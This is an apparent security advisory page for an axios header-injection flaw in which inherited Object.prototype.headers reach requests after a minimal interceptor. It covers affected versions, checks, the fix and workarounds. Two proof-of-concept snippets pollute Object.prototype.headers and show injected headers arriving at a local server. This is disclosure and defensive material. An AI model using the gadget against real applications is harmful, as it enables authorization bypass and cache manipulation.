---
id: "CVE-2026-101904"
page: "https://infrastack.ai/live/CVE-2026-101904"
kind: "vulnerability"
aliases: ["CVE-2026-101904", "GHSA-j8rh-479h-cp32"]
title: "Axios: Header Injection via Inherited headers After Minimal Interceptor"
severity: "medium"
cvss: 6.9
epss: 0.00488
exploited: false
status: "open"
category: "package"
products: [{"name": "axios", "note": ">=1.0.0", "fixed": [">=1.20.0"], "affected": ">= 1.0.0", "ecosystem": "npm"}, {"name": "axios", "fixed": ["1.20.0"], "affected": ">= 1.0.0, < 1.20.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["axios", "cwe-1321", "cwe-74", "javascript", "node", "package", "typescript"]
not_affected_if: ["headers-preserved", "no-prototype-pollution", "no-request-interceptors"]
published_at: "2026-09-16T09:04:21+00:00"
first_seen_at: "2026-11-09T22:53:19+00:00"
updated_at: "2026-11-09T23:00:36+00:00"
sources: [{"source": "ghsa-repo", "url": "https://github.com/axios/axios/security/advisories/GHSA-j8rh-479h-cp32", "first_seen_at": "2026-11-09T22:53:19+00:00"}, {"source": "ghsa", "url": "https://github.com/advisories/GHSA-j8rh-479h-cp32", "first_seen_at": "2026-11-09T22:57:50+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101904", "first_seen_at": "2026-11-09T23:10:12+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00488, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-101904"}]
---

# Axios: Header Injection via Inherited headers After Minimal Interceptor

Link for people: https://infrastack.ai/live/CVE-2026-101904 (this .md is for agents)

When a request interceptor returns a plain object without its own headers property, axios reads an inherited Object.prototype.headers value and sends it on the request. An attacker who already has a prototype-pollution primitive in the same process can add arbitrary headers to outgoing axios requests.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:axios affected >= 1.0.0 fixed >=1.20.0
- npm:axios affected >= 1.0.0, < 1.20.0 fixed 1.20.0

## How to check

- Check the installed axios version with `npm ls axios` and compare it with the fixed range.
- Search the code for `interceptors.request.use` and look for interceptors that return a new object without a `headers` property.
- Check whether the application has any prototype-pollution exposure elsewhere, since this bug needs one.

## Fix

- axios `>=1.20.0` (fixed in 1.20.0 for affected range >=1.0.0, <1.20.0)

## Timeline

- 2026-11-09T22:53:19+00:00 ghsa-repo https://github.com/axios/axios/security/advisories/GHSA-j8rh-479h-cp32
- 2026-11-09T22:57:50+00:00 ghsa https://github.com/advisories/GHSA-j8rh-479h-cp32
- 2026-11-09T23:10:12+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-101904

## Documents

- [advisory] Maintainer's advisory: github.com https://github.com/axios/axios/security/advisories/GHSA-j8rh-479h-cp32
- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/axios/axios/security-advisories/GHSA-j8rh-479h-cp32
- [fix] Patch: github.com https://github.com/axios/axios/pull/11141
- [fix] Patch: github.com https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a
- [fix] Release: github.com https://github.com/axios/axios/releases/tag/v1.20.0

## From the sources

## Summary

Axios request interceptors may return a replacement config object. If an interceptor returns a plain object without an own `headers` property, `dispatchRequest()` later evaluates `config.headers` and can resolve an inherited `Object.prototype.headers` value. In a process where another vulnerability has polluted `Object.prototype.headers`, axios can send attacker-controlled headers.

Axios does not create the prototype pollution source, and the interceptor itself is trusted caller code. The vulnerable behavior is the post-interceptor axios config read that reopens a prototype-pollution gadget after earlier null-prototype config hardening.

## Impact

An attacker with a prior same-process prototype-pollution primitive can inject headers into affected axios requests when the application uses an interceptor that rebuilds config and omits headers. Depending on the target service, injected headers can affect cache behavior, conditional requests, metadata services, or application-specific authorization and routing logic.

The issue is conditional and should not be described as affecting every interceptor or every request.

## Affected Functionality

Affected:

- Request interceptor chains where an interceptor returns a new ordinary object.
- Replacement config objects that omit an own `headers` property.
- `dispatchRequest()` header normalization through `AxiosHeaders.from(config.headers)`.

Not affected:

- Requests whose interceptor preserves an own `headers` property.
- Interceptors that mutate and return the existing null-prototype config.
- Processes without prototype pollution.

## Technical Details

`lib/core/dispatchRequest.js` contains:

```js
config.headers = AxiosHeaders.from(config.headers);
```

The initial merged config is null-prototype, but an interceptor can replace it with a normal object. If that object has no own `headers`, the read can resolve `Object.prototype.headers`.

Local verification on axios `1.18.1` polluted `Object.prototype.headers = { 'X-Poisoned': 'yes' }`, installed an interceptor that returned `{ url, method, timeout, proxy: false }`, and sent a request. The loopback server received `X-Poisoned: yes`.

## Proof of Concept of Attack

Constrained local demonstration:

```js
Object.prototype.headers = { 'X-Poisoned': 'yes' };

const client = axios.create();
client.interceptors.request.use((config) => ({
  url: config.url,
  method: config.method,
  timeout: config.timeout
}));

await client.get(url);
```

Expected safe behavior is that missing headers normalize to an empty header set. Current affected behavior reads inherited `Object.prototype.headers`.

## Workarounds

Interceptors that rebuild config should always set an own `headers` property, for example by preserving `config.headers` or setting `headers: {}`. Mutating and returning the existing merged config also avoids replacing the null-prototype object.

<details>
  <summary><h3>Original report</h3></summary>
  

## Summary

Axios 1.17.0 blocks the old `Object.prototype.common` header bucket gadget. However, if a request interceptor rebuilds a minimal config object and omits `headers`, `dispatchRequest()` reads inherited `Object.prototype.headers`.

This allows attacker-controlled headers to be placed on the wire.

## Affected Version

Validated on:

- axios: `1.17.0`
- commit: `4306df2`
- runtime: Node.js `v24.15.0`

## Preconditions

- A separate prototype-pollution primitive can write an object to `Object.prototype.headers`.
- A request interceptor rebuilds config and omits own `headers`.

## Root Cause

`dispatchRequest()` uses:

```js
config.headers = AxiosHeaders.from(config.headers);
```

If `config` is a normal object returned by an interceptor and lacks own `headers`, this reads `Object.prototype.headers`.

## Impact

An attacker can inject request headers. Depending on the target service, this can cause cache manipulation, conditional-response suppression, request smuggling preconditions, metadata-service header injection, or application-specific authorization bypass.

## Proof of Concept

```js
import axios from './index.js';
import http from 'http';

const start = (handler) => new Promise((resolve) => {
  const server = http.createServer(handler);
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const stop = (server) => new Promise((resolve) => server.close(resolve));

const hits = [];

const server = await start((req, res) => {
  hits.push(req.headers);
  res.setHeader('Content-Type', 'application/json');
  res.end('{"ok":true}');
});

try {
  Object.prototype.headers = {
    'X-Poisoned': 'yes',
    'If-None-Match': '*'
  };

  const client = axios.create();
  client.interceptors.request.use((config) => ({
    url: config.url,
    method: config.method,
    timeout: config.timeout
  }));

  await client.get(`http://127.0.0.1:${server.address().port}/headers`, {
    timeout: 3000
  });

  console.log(hits[0]);
} finally {
  delete Object.prototype.headers;
  await stop(server);
}
```

Observed wire headers:

```json
{
  "x-poisoned": "yes",
  "if-none-match": "*",
  "user-agent": "axios/1.17.0"
}
```

## References

- https://github.com/axios/axios/security/advisories/GHSA-898c-q2cr-xwhg
- https://osv.dev/vulnerability/GHSA-898c-q2cr-xwhg
</details>

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
